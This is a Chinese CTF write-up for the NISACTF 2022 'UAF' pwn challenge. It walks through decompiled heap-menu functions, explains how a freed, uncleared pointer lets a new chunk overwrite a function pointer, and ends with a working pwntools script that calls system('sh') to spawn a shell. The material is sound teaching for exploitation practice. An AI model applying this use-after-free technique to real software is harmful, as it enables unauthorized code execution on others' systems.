UAF

文章发布时间:

最后更新时间:

直接上例题
[NISACTF 2022]UAF
checksec,注意一下是32位

1
2
3
4
5
6
str1k3@ubuntu:~/Desktop$ checksec '/var/run/vmblock-fuse/blockdir/FsiUbs/UAF' 
[*] '/var/run/vmblock-fuse/blockdir/FsiUbs/UAF'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled

先看main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3[4]; // [esp+8h] [ebp-10h] BYREF

v3[1] = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
while ( 1 )
{
while ( 1 )
{
puts("1.create");
puts("2.edit");
puts("3.delete");
puts("4.show");
putchar(58);
__isoc99_scanf("%d", v3);
if ( v3[0] != 2 )
break;
edit();
}
if ( v3[0] > 2 )
{
if ( v3[0] == 3 )
{
del();
}
else if ( v3[0] == 4 )
{
show();
}
else
{
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3[0] != 1 )
goto LABEL_13;
create();
}
}
}

很标准的菜单题,跟进每个函数看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int create()
{
int result; // eax
int v1; // ebx
char *v2; // eax

printf("you are creating the %d page\n", i);
result = i;
if ( i >= 0 ) //重要
{
result = i;
if ( i <= 9 )
{
v1 = i;
(&page)[v1] = (char *)malloc(8u);//chunk大小固定为0x8
if ( i )
{
if ( i <= 0 || i > 9 )
{
return puts("NO PAGE");
}
else
{
puts("Good cretation!");
return ++i;
}
}
else
{
v2 = page;
*(_DWORD *)page = 1868654951;
v2[4] = 0;
*((_DWORD *)page + 1) = echo; //page + 1中的1是指1个字长,因为是32位程序,所以page + 1 = page + 4 bytes
puts("The init page");
return ++i;
}
}
}
return result;
}

creat函数的重点有三处:
1.创建chunk的时候采用的是++i,与其他输入index来创建的题有所不同
2.能创建chunk0,因为“if ( i >= 0 )”
3.注意注释中的page + 1处,意思就是page地址的下一个字长的内容更改为echo这个函数
看看echo

1
2
3
4
int __cdecl echo(char *s)
{
return puts(s);
}

puts是个好东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int edit()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0 || v1 > i ) //注意这里并不能edit到chunk0
{
puts("NO PAGE");
}
else
{
puts("Input your strings");
__isoc99_scanf("%s", (&page)[v1]);
}
return __readgsdword(0x14u) ^ v2;
}

edit函数,就是输入你要编辑的chunk,然后再输入要更改的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int show()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 )
{
if ( v1 <= 0 || v1 > i )
puts("NO PAGE");
else
echo((&page)[v1]);
}
else
{
(*((void (__cdecl **)(char *))page + 1))(page); //这里也是page + 4 bytes
}
return __readgsdword(0x14u) ^ v2;
}

这句代码的作用是什么?
先执行指针所指向的地址的下一个字长的指令 接着用指针所指向的地址的内容当作先前执行的指令的参数
所以当我们不对chunk内容进行任何溢出时,仅仅只是输入小于一个字长的数据时
show函数就相当于调用了echo函数把chunk的内容puts了出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int del()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > i )
puts("NO PAGE");
else
free((&page)[v1]);
return __readgsdword(0x14u) ^ v2;
}

delete函数,这里就要讲讲UAF的成因了
例如此处,假设已经申请了chunk0
chunk0被free后,其指针并没有被清空
此时申请chunk1
而由于每一次申请的chunk大小都是0x8
此时申请的page1大小小于等于page0
系统就会把chunk0[已经被free,指针(page0)存入fastbin]的空间再次分配给chunk1
即此时chunk0与chunk1共享空间
因此可以实现利用page1控制chunk0
即UAF,Use After Free

这里有个小问题,我使用Ubuntu 20.04进行动调时
page0会被存入tcache,但是仍然会被复用
等研究tcache的时候再来补充

回到本题思路
NICO函数处存在一处system
我们用edit函数修改chunk0的内容为 “sh\x00\x00”
然后溢出到下一个字长 修改其内容为system的地址
这样当我们执行show函数的时候 其就会使用chunk内的sh当作system函数的参数
执行system(‘sh’),拿到shell

这里再解释一下为什么是 ‘sh\x00\x00’
32位的程序
一个字长只有4个字节 如果我们使用的是/bin/sh显然字节不够
所以使用sh也能达成对应的操作 至于后面的两个\x00 是为了填充字节 又不至于破坏sh字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
p = process('./UAF')
#p = remote('1.14.71.254',28674)
elf = ELF('./UAF')
context(arch='i386', os='linux', log_level='debug')
NICO = 0x80484E0

def add_chunk():
p.recvuntil(b':')
p.sendline(b'1')


def edit_chunk(index, string):
p.recvuntil(b':')
p.sendline(b'2')
p.recvuntil(b'page\n')
p.sendline(str(index))
p.recvuntil(b'strings\n')
p.sendline(string)


def del_chunk(index):
p.recvuntil(b':')
p.sendline(b'3')
p.recvuntil(b'page\n')
p.sendline(str(index))


def show_chunk(index):
p.recvuntil(b':')
p.sendline(b'4')
p.recvuntil(b'page\n')
p.sendline(str(index))

def debug():
gdb.attach()
pause(p)

#debug()
add_chunk()
del_chunk(0)
add_chunk()
edit_chunk(1, b'sh\x00\x00' + p32(NICO))

show_chunk(0)

p.interactive()